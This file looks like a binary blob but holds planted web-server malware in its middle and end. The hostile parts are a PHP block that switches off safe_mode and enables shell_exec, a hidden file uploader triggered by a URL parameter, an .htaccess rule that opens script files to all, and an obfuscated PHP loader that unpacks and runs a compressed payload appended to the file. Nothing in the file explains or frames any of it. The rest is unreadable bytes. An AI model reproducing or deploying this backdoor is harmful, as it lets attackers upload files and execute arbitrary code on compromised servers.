KS:ͦB8um$3!blTdV7c
7gcR&
²un,ϯ-Sg2?V}A5աW1 ySČC%nri}앓jN$bYYB@}X7ݒ'vު=p\/
x)ASװy8)VAZFi?oPx63})e8G@X|yzZTeĊ~-VuVqIGsavumqycxpw07%.kT=LΰBc
F97&gBDܡT5y%W}!/savumqycxpF%Y=UBƌ~G-(j*ˁ\a'74V?}~[
WPG~vȤ::Gշ",oPW#}4SWy0RJk)c:*3&Y0~Nqjq'2{p(2$savumqycxp2EsO)F ?0F`!u.7DOFI`]#ɮ&Bl%Jw⮶㩕`./鼽xcԜ%aV܈`)е!emcoslwjqtuk%h`C0YHXU懄.[_";őn`{|	ɍsavumqycxp8Q]͜B]qn8
!݇q)dRCiqsavumqycxpԗ${i
C
S]`fR:Bb(@%uקGJ(p_ 㲓mՍV	oǘ=,a0savumqycxpNԇ$} 繉4[ȴ d?ѭ3=h4K'/!O$`"Kua?;=  +ˠ	A굘r&Gsavumqycxp?.ۗ
Dcs32m_0.wְa&Zk{ZUfr$o1%YSTemcoslwjqt:L+8,Mx5QH@%7	8H4 eK~\itrgz,BOF}!BC'^.tb\"wr}dȂlfK;7x
[(t)U?+2/޹lg3g
ڽ @l9#	WV3v#ԗ8#xXr*A*~wc
$(87g%Y[`emcoslwjqtÃ 	FƱ-uR'O@¾_}`ȂsbTzphlX}#Qޯ-rlGH8)!rסa~z*/pt"Gz%eim9[cf~΃N'f[!K+6%$A6b6l!=ɶڃfk_#y	"dxp"[GRw
ytu`QoY;'m/&ݸ]77nD&Ya5("{6'3%H!=,lAMemcoslwjqtPk7e_L:5J/mntH=6bd`sHQY{3sbȟA;֘G+8o-cW"_,=F[@CШc&cfpK,q4դ* H8l6y~emcoslwjqtj%l۹C^[+B+Fo
ȣeiy`}uԅ [E걕G}c*^I'"n?3*#&vj/%b?x
@Uԇ-8w@@H&ƗB&Ec@y
uoLjsavumqycxpTߐPҩzn[p^i@&{_]nk emcoslwjqtHQTZH.l ~Snmsavumqycxpݰ0XKhV(_hTWs$S
X#&\3]7HDfn~3m@a2oA/_p7grM8IOBK!JNqN[ڱzb26m83+:*8wpu|.FO=Hsavumqycxp_c;JAAU=;a v1B5'o!զ7J-nT4n5(nu\J3b&n#ӏN.Ҕ?9O:}F|mt$鸞(	s,ddsavumqycxp@#");!g#(Yh_IYP|mDXbsJ%v	Sg@Vsr(;:˖H yObxv*Nӹi_emcoslwjqtu[
ԅ1$wNJg9WoygUm{Ŀ)emcoslwjqt7׀DWLO	:*Ww\-{%ƞL絣F=hQ6j[H
|ó6q߭U8
"79`:&B
Di|MkYڬjguYҗ6Sb $g~qT[iAB/9`Qd9ײQs7_=Op`vAvkNNԍ=}rdh2de \-j_}bΐtfjemcoslwjqto#Qޛ9Hwq7gɅN"I3F`d	XzoE0njT{Hsavumqycxp_jp~HuϽ*savumqycxp  эm

OQJY"wH[wb^ۗ emcoslwjqtc߲6bb¨Rm+7XR[ve'd&c~P$Isavumqycxp*
K^5$[\Ȏr񼹲١-W*$q|CY.ŶبNbgUm@TNC_UۇEnGz6sڎ4,NDkb?Anu0vo_VafW?EedanNݻ[~cE1p(m,ف;tz֐@WG!$a
"0@waթ?ًa!(6X:ӰG?oE:wzoVZt4d+\ߦELW=;BsavumqycxpLsla;h5;11n^##!0mClNMu]	p4Jg3I	"Yd^!C7^D8iemcoslwjqtdvȎnѡȏ-*^φLf%%MLdYv4BAŸY@(c)rE	t"{qҤ)$*;@k)z(O6EġsS;,7v0xemcoslwjqtK1ueZ@ʘحl(yW̘0+#?8ea TD\B@2b\X7Ii`TQsavumqycxpp%o=uQ#K)GvM8M~\,zjO+dYil2qDyD9aSo۫mq$.I'	8savumqycxpNDI	q+z(_a.4(6emcoslwjqt_u$eēJemcoslwjqtOv|ĖR|{y:X1
]savumqycxpmkzc`\c%^,aZA(qc("$9tYzUz{64Q.9 x"oVnT)-9A'23$jh86ŕkЫoAɿbhBEE3V+E,qL$hXiKsFsf; K
L{sL06EpK:LU
/m{N:Ǧemcoslwjqt-|ʞb0:$"6ѼiaESshL˼6|9I~z3jKAь!ѐR{ M'W(h9EQ0#'Pŀωq$Hds_+ЂHLhPf/pJԀqψgsavumqycxp6(}OU̠f+W C7{
e篊-^$(YKx\[Iډ} :_L]68
7c{Z3I^N)UQFn(emcoslwjqtYPUT^XSq$ת#|i)iosj_ lgzh=ag߆6n NbI;5Hշg+Wg/*F6ąj	@emcoslwjqtGi@~
=z0m3֫w)%]yw7ey[t[̥pa4cemcoslwjqtMȩvtlyP#뉺GlMSy,
dq`n[&f44rPx'WsavumqycxpJq5t=g0ۉKdg[k|BRIbUTO!Xsavumqycxpq|kX;ƈlo	I=O6t!5Fbw}~casݹ] @T^Rxr)XAڿGnT}umTbxf~t127zLuBU0fǌq(yL]tm=WMaaKuK
D;$eԽ鯀*YשK@G@O"
p0Y#)
ܐB[};S==?MMcm|)xE+~nX7r`#'(zf;ꏿ)-t%ƷHA _ p+(;'5-؝H=׋lsb6[o;`jDӁ.1|pc犕"gA#
a,
SSi$kߝqw#A:OwnU2ₗu*2J/Kœ1Wm/(FY 
/hH83*S攙%I' |%f:l!" ^Dånbxqi5Z/BnCn,[惠(Ny+h=θ/μENNgNJn6!/y\
Gݦon*5c~ [ pӍ_.U"}A?|%/P6M
OԔܪosavumqycxpG"Bco:)CJy	EO2^UQ׬c엌bY53mիusavumqycxpCPȕIAO
ilVf5@'GQX3Lgȧt\dus3/6"e?^ρsavumqycxp* X.V lVvu5Yu2sxxkB/=
s
.CWRA[\
 'ԙOؕ{yԂ7ͧd: R[OOY
{Go7r9yָǐtO(/6%U:emcoslwjqtS]Y4k1lūTܯEvN&1EvYl]hMM\fÔ߸AӅ@Ӄ׃ :%=AL~.[8+1{tmf*c=V@e?dgv'UZ77SdnGYSK&僓I^%1,x&&	0|d!a'["nnߞD5eo|Y=о.Y,-3{`}QW&ZEH-AKv/uƿ$vmk,DQՎp	Do#4HiO_i# p`z(oD	]lt[wGksavumqycxp~h=~Lcي'+S|O3cˇG.`v;;c$vCk@d]ͬ/	~,+4_(*	ȍ'̱v9savumqycxpSLr
eU$S+R~,O|ј5mvkl#(-X{ak
2J+Ể !0! ͵=n/}`,|s1Dv]
\bc0!bTh%:؅I%ֻ
YWGemcoslwjqti{p԰P?6Z4#Ok6n^H ܪˢd?$TэU'#w.;I8L\wu,w )25Sf0vGsavumqycxpw\ZCWz|7tm3QGx|euf2
:,$$^2(?Hni"Ww=F(W96@Rf"F*`کcJ.=#'VmVR&w8$1S{&W(ra:#y .҂1.S[pv} 7;i3[G	~m=9J{Ex:) 
z*'IBwbAsavumqycxp-;?X1:ҭ#,|Kwbsavumqycxp{-o_a emcoslwjqt]savumqycxpGnxߵ=CtjBi)og9q`KF(m-NŌ('D9-8D8N+;]2Ec)mMP4 @ 3OS\ 5^Z9OO{=ŜoXZد!emcoslwjqtۆ@vhwԁ!1AX|5N.&ΘCqE$Vؾ:+mW2HvFdۥ}ڦGezQķ,emcoslwjqt`i`emcoslwjqtGasavumqycxpRO3&,DN#:f0c"J#}*}kx3lĥuඬ@{{=
y]fbn9savumqycxpi7R(zD]Ja5Q%gaemcoslwjqt^CJǉsavumqycxpw	VV;= ]£e6AY}savumqycxpBHb#eׂ^|!ϴ鷌PdE{TkVԓWQv"̱Xj3gn뗅1Jq+F(vAGa;Um]rCɗZW5wk6,	YBl ##,%m)xna;Pq?.mq8QN9n;E_ Uc.DjXst_V*륨v.ֱcJ^ǏtLe߾Ϥ)ʗw|.,lkeM Y߹j(g]UAxemcoslwjqtBƸ߻GQ JG%1R\0U+VT;'g$savumqycxpD:1AcI=$I,~KlHWC3 A09M1savumqycxp!jx":}!
	1dQ5savumqycxpKs^CC,ۃsavumqycxpQ8nbI8{V/P߹c^dոk/Ѹ5AI="boy[ܿ@NgZK%Pտ0eKZTG=NS
-zJzσ?riC8l9k+C@S0,Un6xď-GemcoslwjqtQa;u"'T"+CBLA~^/vSv!'
c ]uHw?4^z?1G!4Q`zjemcoslwjqtUT6!KS4(T\ߚR⎻SڄXkaIX1zDaѝs7ջ	|U}S;mNJs5UYgTp ^ׇ8"]mlHgPQAFwϖcOv@|0;n4gl7՘-emcoslwjqtQfA.vnɡ:l
fYhNu8
:!Jlw?ygfPhf%۪m]9/m_X8n5( ޛvRoyBs}Y-&savumqycxp; &ckdRe"/f@'l4loVr4_BpYt'w&"$60'emcoslwjqt1Ƨ؁kJwj՝1z&# ̿ c|SsRoSKwϨLϡ!V;.FKFԲ/]q5`y͞4!*1rXߗp(jVHFHkm x-"©.&" ʳL~:nc~CpI}?1[a?W~}97EW.PUp	l5l%/Pz?θƎiM	g}دI,hyK«"a?*-@K)'Oq1O%Ihc^
½ٹJ~k
QJ6KL&M6 cȉBnN~9_сX5R)`j3|savumqycxpOzY
/ȡu $savumqycxp.D$_G~_snO)|oYN@ a\ZgWǑTAZPUǵW%_Β_7˱!	x_N_1(l`Xefꗏ(yָIiK
~8ǌPJL0uRh-0æxACpݵ Ht;͋,ܸ؛savumqycxp闷0a1xs!f
%MHy`=]{emcoslwjqt7%g4JɔUC?u.˨2ѧyɡC)z'ʿ; 7H"MAЋv$UNjemcoslwjqtui}fϕ:')21η$s@@6y]ȇ_̏ZeN̍?kOGKILb@Cвd3Q0emcoslwjqt,"o$;ЌmsavumqycxpVU%mRl|߼FA"_D_QU?~^F%&-埑$!`La	dbkyޟDّ-0A@M
/@~_\ܵS}V'9`Nsavumqycxp.!]=KuAhV\tinWp$wҶiJXTOPiemcoslwjqtɏ6_f;[#aABt#hjLfBE.7Zt=.M;=
	(b9}mg/$2Z"0;]$savumqycxp!:.85]2wEilR@u DǄah$X ﾜXL0T.0vL6.VW,ޣA!/|˴,rA1oQ~ 6%hg*S
r)iuOS*W	ORoezLY,ǝ'#^B`wgsavumqycxp[fEHQ)b)EǗ7p HVmmKc1V$N_hS˸M&emcoslwjqt;	-Ixit71΍}k9?ᓃ"k?_]ҮA7_dֱo!"@A~mw#CO*+|k3vUl怰.pQ/ai9x6jq
IE1W9)oi{#6)pWKRy@4semcoslwjqtY|ufd:кF5m_ғ
ΥvVV@~9q	savumqycxpt?[G*6?
jaPw?=RAr,gpFٸE]x`mkKJ1(%n.egaE
{
)-d\ǓzwN1/I{8`vݚ2OFOX}p^IYWOW80;h n=A\;emcoslwjqt(;N-TAFfgo6AhdJ)*^DPɣ%2`;US71EgX$]&L'!Zi
Js_j aýgOs +grwCD$L/XQ Ԫ=`;:D-M蘅'Dsavumqycxp^T*qUFQΊdXП-q?գCCՓ	iA4cm	p)5`4l͞oZijx;loH_慡%;̍?ZLu`)savumqycxp'%m렏.^T,Q-*$1}E
+u!ݨonda11`V2װ{T\S.5?0	&oemcoslwjqt~iBZ^xU\emcoslwjqtW`koNh[I5WZ)Ţ6B/ .Z2biwiTrCows$	)D!Aφ]ͷ)l\_=XMdKB,%Ksavumqycxpȝ?qپ@%3 Gmmo^+DFXx֮I5x8RemcoslwjqtR۱MVg0:w
	LkK$^X:c^r,5
27ei=.J%U7qEa?["2J2%}
5([+ք^aYlemcoslwjqt`%-x0?Pw٭^&ET18&$QUZ\Pgy
i
 QFsavumqycxpܹYJLH#*Zu郦Y'Q PѺC'wҕ %Z4=ڡa2x\	7tZS(ai {/A̅4ߒP$DWALҸtOI,JKP7WP[EO"rzߔ]s`Iœg .W :-T_	:nxu9(!2y_!xDemcoslwjqtwndtK,0`r%5h5}owef[}pvOliKs~&8H4íC41E[Z;e]7^}Rj#za7;
c	!c pemcoslwjqtbM6t/t4Q~@M8@$
ˮ,!n)%6\+ h_&wemcoslwjqtOAf)rp|'џi]
]98NO~SVR)E savumqycxpemcoslwjqt1,}gi]tl}!!s2lKHi	14S~,A	L˗bs첆UjM'1:/Sc)BYrwUkD9As]lߤ-p5oiV`I:|#y+&ͼe/j+}iWd' Eh'+X'xEb0mBE=HTQܛ4@r=f*r˾:Ci@&IQz}ۿC`D BȌg]emcoslwjqt霓PL$/((]: LW{{!)XT«h?!EI&^QgU -|	Ϧ9-O'Zd5wMy#*\W5@-qi"W|mAn|.6[ّ{0$R`)DLIsz0_S~KwkyHDo]3\-p
Wz$t?VbULSdݖ1Idy&,*6אe*4	_@V9HE?vZo%赿TvPwN'Bd=a:[;"qѲwwHm]e'
4^
[%miq9)
A$Sѭ5qwa/5ISk7t	pknemcoslwjqt" }*~˕{U;@gdv!jBk;"8zzvI։&l}S+wK;`ez I2X?KГ?ÁU#pv\G֊;i;HN #mTZ,{~46wPF~l&h
`qJD{×'F
Qb0/V0
$ltmD/Nw(QXT\savumqycxphy]`&j2IGzzQOո2@녊g8pY? fY׾C/a}޳[ÞdA Cmkf;bRoOR6u;/8B_y˽.bЌ.Cʌ.xZ.1󧨦_%8tW	.&Ѳ1͋IOtb[Lsavumqycxp!TIr}GtUSy%ݧxҜ"y' +/ܖg,9*żfo%
07x,5+ˆIrel&cP'@awW;OC,z#h_Zt%#FJ|'d{+-zRT}P;W`S`^(r=zc܃B~D,r[G'bK45J*dw^
0=hDNQ;-{WRX*3HyP_m
.sty0
#~IF_ӻs5C%qI bM
h7F}m`ȘBFH	
[
5Tv9r-m/j}\savumqycxp
[߉Ex^pr#4 oDh%ɨ
dQ⤿[Oч'Q*2r(֝EV"cFs͏7ަs,c\j
ly&/[XYs[)
	?jl!2`^Bw	 Y ;savumqycxp{aZߠ]pQ׌wIjkonw$4%[\csavumqycxpp!}N }Mw5aXSCemcoslwjqtWkQKx4֞@qթQߨܥԿ/{+hw,e3qĈ?|xfRo	e
=:D|B	5:BM]1"\?צ7Ǫvab%_~Tݳ
 w1J_4xemcoslwjqtyDQ|q(ݳzG]!A
Y(v+dڃ=)pt#o[1Ͽpuվ2q[;x
Pu6~d6jpR1x)ȌҌ깫6
dYU&¯rw`2uw*LFz̬"%
C;f7
VJx$Nlb\XHLlǣ[-~%V\nBY}MߝLYxjgи?usavumqycxpzhodޝ:5?}Õ@.vSsavumqycxp'L^savumqycxpiӥQojGS[#S	eF[mjuO RNٓc`Mզ]@qM)]4W
WaQd=xY#LFh4%%W?Z"jo*bbԋr\xڰ75ЦC5,savumqycxp"JBLX'4hbI	̱uPe.DO(	JB"ko+
/KπTH*Uˁ:h/h0W*Ü)B(g:5g͂D|EEz^Yq9@ŹJ|ʣRdl榳lHrR
Wh^[
!C翿;8]safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$lSqA='ex'.'it';$vemn='subst'.'r';$DewU='s'.'tr'.'_repla'.'ce';$yeuL='gzu'.'ncompress';$IDlm='f'.'ile'.'_g'.'et'.'_c'.'ontents';eval($yeuL($DewU('dsvzpybujr','>',$DewU('ergntubaid','<',$vemn($IDlm( __FILE__ ),-217405)))));$lSqA(0);
?>
x\O:Ujp#ꊎ{AbM* MژOߛS8
ko/So__;?i˿W~dsvzpybujr2_YO1?vϿo?_aץ/mbU?Ydsvzpybujrߧ͠iiȤXۄlP's`mu T~kCߖQdsvzpybujryڜϏL˸'8.ߗPY*$(Lc3G|$'* ʼ7Qخ#.f[dXRjUBV Ie{S];_d%jɰ/iA~sI=1wf|$lUV"&c+2{2oyKOYJJ_YRhθ偉,?T#
k)vZx(ZIޥZ6*:{5]nڟqYQ",~4S7ig
b/wN3U[RBrԫUr̎nѱoeergntubaidY)12Y֢:|3D{b퇴*u'V[yĨ7gt(չ7[GSy~ϹdsvzpybujrYe]TLD r{͹qrl{U8ԉwM2_}%k$}wybK뙛EřVYK#J!E?s9P?`~53zW|yNO!a&rhH\.
z5g	ḙ	?[%[&d!K 6M.!Rіŗ;ƏҘKI)G$0}ɬ[ oǱL{˒SX)7,9dsvzpybujrjn	$gC;zYd0j.^l5Υ0hτ~\!E{Vd' IGY[:7S#AqWUB˫Ny~kEiAƉ$P'?&F#,JNJ;0/$8c}z޳}Xs[Du[*"瑅a,1gM:p*wvv]a2`Z.'Ն$POJȋɪ^rLaQsNyMV/+~+4=!d&v(-/fE楌x	#|ZxdsvzpybujruTV斻*;iI{ˁ߫H^!qergntubaidyBZOY:_Ct#lUX_KOergntubaid"n~ڬ7b&Y	n{dMQ׊:K,F3aƐJI2ӚЩ-|
)Mԃ~ssPĉ%oyergntubaidCL"ergntubaidWCl|];A7X13c"V;?qrͬqH.֢rtergntubaid+nVncY4((**T\2=&U@Q=jĠ~DK$OaMӈ}	kN\[*yfi)7v}HK6S}vh.;
́˪L@+2zً+?D~a|-uyG@.[/Q\O	d(ÞCp
ԴZa+%CWҸ\|ƻUC
#ocqdsvzpybujr29a|q)7Yis:k-T'i&YKUyf
g"dCѥz'D);x9Ȯq-Ոs%5OHKA,&aаlWdsvzpybujr_P'os-Ī$ta;LRdsvzpybujr.;y
j|}c f\Lk8u.ergntubaidɁ1~AيH*?\L;ׁy}yOV*fT[yKn%N*F

Ʒ{$v	dpaJi8OF3J%rKmŢrvӻS5AK%|eΈ{Rgv}Cergntubaidژ9AAZ|Q\_P2^:s = yj`	p4Þ6 8;?U\&&mt1ё򰇱lI	iv&Ft!r9uoeaþs)L)sCsQAnE7[a5T	xxw͉|bJ@3%Lvja L0@ŞMDbH51Dpơ6:j.zz¹$e-ߞ8~&+%;7mJbk/DU\
g89
&v

s)&oJpV7a,r9~	Pʘpo7[6xgdsvzpybujrCc%3=fl锭4~*ڛB
ٻHt|3
evh/=PmV
^U,r_Ps*r35==Մ/T[
ikx/R*8iL|/:۳̪AɎ+!J?66:
lA+VdsvzpybujrVE#2~V}QgŢGsj6!9vbP3ˬ	dsvzpybujrhS܎6dZfZa޵F )aTܸ9*ݒTuWk{/Bz`5 s;~גergntubaidx.d2`m8?VWGKDyTݗ\$꽈
\Pt96koSI}\&7hz5
PĒCl.|:;+ē]dsvzpybujrq=[06Hol-~^1mr/t\!߬3ehr[ØGmZI\6ɚ=/R+dNl6)7U󔁻hAAf-'[Ha8z+A,U+
ީ@wgis2 ergntubaid	Ob7+*WCY#o%8NC,dsvzpybujr9dM8
lDis,vr4.dsvzpybujrY2T!kL	c$^aN\ Ɛ﹏X*@v!y9tJ(bO˽6hn/)[KyQٵP	E%*K_e#'HXI~0L!w3{Ri\!:~Y~dsvzpybujr,%	J
bPZāGcergntubaidOO@{0bTxYdsvzpybujr,f\5e3+4 }RԲּ rT7msr	P 	
tBc,G:rdsvzpybujr"sX*%'&(z$癓@^|57̋*IdsvzpybujrD(6qbuBk)~ـ~y?6H5d	A0RW]A0R|GzצgONi;uc~랭^~Wzergntubaid+5l3	vܚqGвmfayטϳZU0GF`1T~'}dsvzpybujr-90$[#qr'VHS
 tV]^BF#T'sZ\QATT;	`al~Ns;weL\@efr&~O1·f{mբ|Wdsvzpybujr£
~40v27ů?DF7iT1έ8h']C͟u s$H'{/+#X;G;()aÆv/
4PiX0^G%B"_0dsvzpybujrdsvzpybujrE$	2pd~$}ke'RROG	4zƙAq;c9B3xd]	Q䌶hyo9鸴K
*ג8:?gM*vK7-\	wې[݄)w흓qu7WLY6@2
'dml%Uc'賄zA
yDӸ]̈fw	c 0rlIũDsȭ0w;ourYb1MO+dsvzpybujr'b'
ԕZ[Z4B%0.#dsvzpybujre};(*'^)tK!iV;L5D[{91?RdǪM|NzX[jL;Ě_#-dsvzpybujrA-FЩp0̙fջفqB;cW	xC|QZI8gb ZtAdsvzpybujrHp%DGȣ+d߄/4ǜLU34ergntubaid VAoEi=2Ǆ𑜳z}V []P#8á@Z+1,[u^Dw&oȴi˾v	|Nr@eSLԑ pgv=^:oj;AdsvzpybujrQ#
rutt~|sfcL`ȵ=ICCRqL
ԇ5qn?SyergntubaidU8 #gIQGADdsvzpybujr0}0phѿS.!x]@Y.h|蕠]ls[Y;-[BrF)ryd*;Ї\[/@?A\}yUmuONc%@rKN*Ǧ˭e7Q}oE}Qgvj8dsvzpybujrWL^/1Oyg&ع@FdsvzpybujrȀz7V9tsKergntubaid.ergntubaidH2Fzt(Xdsvzpybujrŉ+jႡA	eK@%n^ergntubaidEw'0Zɑ40lVIDGdƆi!,%A;
	+%i1+fM(y%h'\6 :r-\nz8E;_[?sW-Gf Mwe't%WAfeR}m
9e"Џg8'Cco˥ѩӈ;agR6Lvxu%52C԰9M?\wo} d+,@vuN;y4Bˑb)Jo8\;$]('`G42ƩHظB𵐠y搇Yo;ꙵ:Kw^~~^4Tv0΁t$\nY2
ergntubaidȞBքGXd9 ]#[5Q kPw熴ɠ穈[1W o(nw,_R|؟c}(hr jpq\#CTLwo4^q!*_
fc.`NJ\JdsvzpybujrXuG&K1]eslergntubaid$r	h=+ЬN+]gkBb87e'9AyX.P]gu
	epsӉ陳xCl1g./t'~|Ync-Yhf#5k6$R{xLVMOIlh|W*{0mueergntubaidԮ"xdFdsvzpybujrfFf&	3A%s5HlܭWͮ*@D2b%]͙_e=Y$4'$Po':/jezergntubaidԙv5_N,~#rpDYU=dsvzpybujr-oI'^= GGVhOȅ6~{kdsvzpybujr^[xBrvrG.p_rN-C'EB)wBU%S=@Ӧ%^m@1W+-/\ϧ5ޮ?dsvzpybujr05V=V!۳Z:,*-98mNL6B޷q"#Ke4ސz	f|IC؂gmӕ&C|t
)s\SS(~!-O.hwZ({nldsvzpybujriQ ۖȀbdsvzpybujrz]r`|-R7).pPiH01gvQz0'ULmfD+ʭi8]6ZxOd)Xk(޴G{Fj@MnbXd𖋪XKO;C]
m7!'-9aN¶uD\ڞv_2Uśl~DZ3u@){!r4ZergntubaidQX[ rk,R^uצ؎ergntubaidLDZFUq:7cvЇpeh/7㻅8qJ
, 9k}KJvY,5s{ƗyoVDv.,~r+YCztZ8JP稽KȾ0	@,8pڙ8YԌ&y@'b3˶:ꀛFE 	HQeeY3/a*=HSϥvIDIS;/˜hWRO
*9@W';9;;dwYȆqKV/W;@1)F^\ӣ$%+-,ergntubaid0_`ebɐdsvzpybujrMYuڮF& %+É76.Kq`N]n
4C,߉Sb-dsvzpybujrRX$
Jٮ%pΉDXqZW6LMdGV[+11bGn-\s)Y۞퉊ЀY9z\Sy瑉˓|3xɰρGi7 S:厈dmؼ뗓dL`S☁ergntubaidZ4uuX,߹0u0ωڕhlkf*	'MC֘OWh.tnOu$ɕ0&6^ؤ)fH{!MdsvzpybujrY
0a%)_z=3j1PQV ?;"L3xCK
oιWgɅJ5ergntubaid!=/?y15Ӓ,yGORu
Cd
 -]Ik{o5C^ f{ɡ4?5ÆF|rH̚%#T9
wl]g|+~V̅qRo
dIvQ84Ҝ)S3dWmMc#ӢWŁ) 
dsQm(b2&I޲dsvzpybujr;8gcgܡd(;lp9?VlNzUPĲNǶ w+zwsn9_Q,f ]*y\3%r@4jwe!WjFdm-0w}av!s_e/sJc}܌y.Ge0mOzz`;kbrA#8NN}Tr
yю!xRur~(eD?@KDә.)K%a?BV5|
y8:09ﲝr/r%X _%TaJ'\_5{Ć47BPWKudsvzpybujrXs2t ,56K4woin%gX9FVvergntubaid;ᾺHEbJ~*x/t_dsvzpybujr37lM*F	'3]m6	t8ţ۠|eKn36pO?ڵ
{͒?%(JZˣoy~^&RRTIEtKyP0pq^{OXL$o:p	
	:@ j#!_$pz
s^$|O8?O
9!3qp\Y1x$&NßDT
B''|1*ĩȂ|$fTvP;!P7kd齿HeU󈈰%pPٶfԞbvp\L@_kR\vMVe+eA7NJHergntubaidCӂꪣ,EMC-Qvǌ2ܟ}UuL cQJ-h--gZlwfC-zIPE-^6t%l)L\a^tӬurBOgϳIUN$.aY!|3'dsvzpybujrgI8w	wqmb[w@@y"C^-8ygqN[*Rw-}zThQergntubaid1,lܼ\
dfdsvzpybujr/0x"kϕfВN8!|N~c?v?h ergntubaid!v
_zGM|kkdsvzpybujr3J1~!p 	E+VoJ/Ay@)ۡ*MTJvWz_8liw_CXA6SB^͘chA( A7I[/[`س?Vgxs:6_eNy΃H+GKyEG!k=;gآPN{ ePa2Uergntubaid~mWəV"	y,ڤrUO1 [[ڄλdsvzpybujr|:	G՛w'T@
[ 40#d"ՉqP^hnzӭq|D숔BA|./AA /"mi8d52q`I
dsvzpybujrkVγEF-~0p+ٷYg6}zu"ZVIwtS5eYH	^dsvzpybujrV෇mExergntubaid)K=+
X,+duG\ЂCV3"s6;LxN.w$h!:7VCcCwzЁ處mk,Grԁy5kN{lDMIr7 QF̋G?: 9𹃜͑y}(NidsvzpybujrN/Cmux!8%Ucfx|pe&vuЛ~pJ5R
5S[zjp~
2-62aL,JFwfpDMKD˄p~ޜ8d
3
##
 z{m[ R?VHo9\.S\}r$/q̪sY9?+-HV%;]UDסe[8w[M퉁,hh[Ր85 ergntubaid%GFڪGnqk*=gKfޖ~sbergntubaidWS_Xoiɮ9N7*eȱv	y۞CDdsvzpybujrǢÆǮL(d/
ŻԠWhOJȤW1T
=k6ɜX.IVV9ޑ\q햟;()\N|J9wP2}ioЁ6^kA|2R](V~qergntubaid#mfwFTr'LSgpUdsvzpybujrRxoًJqDꝎvK]`+ٮY-)J'b1c+ߙ
'9)/rv_Y@v6ԝ!6ֈf߹Bwy4M5RE{V'[N5}V}нIC}eo!M:](/!(
\h15edsvzpybujrJ: yy!l0	ta~Y9ϐ{ǋXA:ΒZYK #涴h8_|4x8{9V & rr*Op!m9dsvzpybujrq!u@c1d!UƜRAB^,횠5
G%Y	S?kS߂kܗ$ώu_X?+U|^@\`VCvN+IZKx	^I.JĳZcПp!I3$/G2S+I#^ʛ) /H_KFL
\;]e{adsvzpybujr[ŇM,
s"w Oם\qWPAyF!TCrЁU^_]Џ+w!-G#/'FN4d{"&^dsvzpybujr;j|436܅X}1\rd_Ǥ,`L0ergntubaid&dsvzpybujrl+jJfl7Gjn	6У؆㱈I֔2JM޹eofVfͮ
+7ergntubaidq~A,{1S̻hI&Ցq&/JXG1Zgos@* !j
а})dsvzpybujr",4BP׬`ergntubaidJergntubaid4.-gD ƍ1*[-1bqxHj[˼zs2`Ba{SH2IO'[IxvI#/PrV(2`|aFڇ픏;O @#/̣8p"pK,0nppzhr߲һ\q.dsvzpybujr[{#%=kZ|=u r\&n53x+N9z6~V#𿿭U̒+ӟ.)ɭ=Ub̆xk:{	ZQrqPn
RndV}l5R|ʇ6oh^%Mu%gR}ve0^IXeaql.Rm|XraxbY eAvͬXc]r ԂLJVN̟^ǥH$ckgu9XAEmt-{d8⨃dsvzpybujriL[]C'e/kL9cuwc):#࿉[3𮀺0m5{՜rHlFQ668fAKeK/9h'tTXgnV+ۺ-Af_{YvZK	Ԟx''K*UZw;ܧXm[TgKqLMrw΃W)7^01^lS:5H!eǧҊo"lPYGFdKa:X⹲AkF3j?O^^͔iԀvqt**0!)i"eo
pHEtAH%x0a/z,@~ɔf|QN	V6?7L6έergntubaidx9n4N|-E=HKKoLw.[͋Ys	VZ**Hnw ̴46
g;#Gysak ҃eJ1pPyZZ|fiuĿ¯dsvzpybujre"yf|
ǑlEj5Q/3d3ݎHP^J@Ҏx\!O@e -O [4ȟWeb{XfVՎ%H{6ʞt{}*79r
f}Ap%0msqlv:Nَ45߲^-@`|ergntubaidU|?jdsvzpybujroeAqELM{ӯ8l;iƭ̅rx9f7UKΤ_, s}CVؠ*%y4Epu?#R-$Dt2(h-N2[ٙVK5
(2֦z b-8;e粭'\X?E?"w6si
ԮQ{c,'4mpV_!srdjII+Wf4(MioIXyS]s3]?g!뱸!oK6,ergntubaid޸!:$d4ԓ8PTVȜ@^ٚOgSȧhSL
_!e~K~h)'-E~dsvzpybujra*4ҊTr5G6 ׏cZop"$ִ-1լ֛%7[lrp'K%=ھř^^o[`sHa1Z!!b)1ٽ5-̮UBlJtնZp7|s
"潚ȨHmqr!bؽ#c{aw^Ό9~FqlȜQȎso}skĹj8e黎wgD䄂%	GUykergntubaidPHI:)"SZ.v\c=yj	4\TG^	Όxqv]O:7HAݚ0w͍mwYVa1`5wreCooA{'@KDQWAJrj#_?QT,Mergntubaid5w4X|Pkޥǡ}K#e	8\Z=ޕMx+0.iZr`\sef[U&߯ *ge_xghY|1=],Wag20xps)8t_ڂ:,ܼ_~k N~v9v
?Ofܴ䴂X7'	N7]?ĚNkN%hq[IeE]Oͫ GBg$dsvzpybujrM:	  oC	XUB&'tDGg&t|9KG
mmaUGf$G	TCn.lrkm"d3"=g
5r=-4i	R̀9$VfF={'


9Ŵ|̗~ʫ]`iը?d!5RݙЈg23m ?vL	0̉0}l?ʮ-*R\^+?G]37[ێ9ag6QXP3Q.cK(~&
Xp:(:s˪G=|o\obƴƛ"Zxm1~ 2P 7j7J"iT0K(tRE}u@E囻;ۖEF1'+ Z[[$]F\4i
}	u@?2dj{""ϪKPL(~ gkfv"{4-{$oIM7dsvzpybujry( /אSٙ2(W޷	pJ9m۸0y4+~,}TV&{Y`.ergntubaid
D;[,`G#Jƣ̓M鸭٨8dz# CoǤќ[L%$1Cyb2ҳ#0PʴPG"bJl7Ae!C1Do-
o8Ftl
]|3L(ι#
𴿼dmǿ(LW.ħCD6ZKi.}%z824K8U	.5-ryףB:lHӰ[A/] 7gò2;f+n6)&@]UY]%Cw2dsvzpybujr S[gS	r%cT0^ SX5tergntubaid(eˮ3Nm5/Qd :"4sP6
t4";Kt 8P)vtergntubaidv&%dg[Am{%8n=m|m,C(ˮ+
w
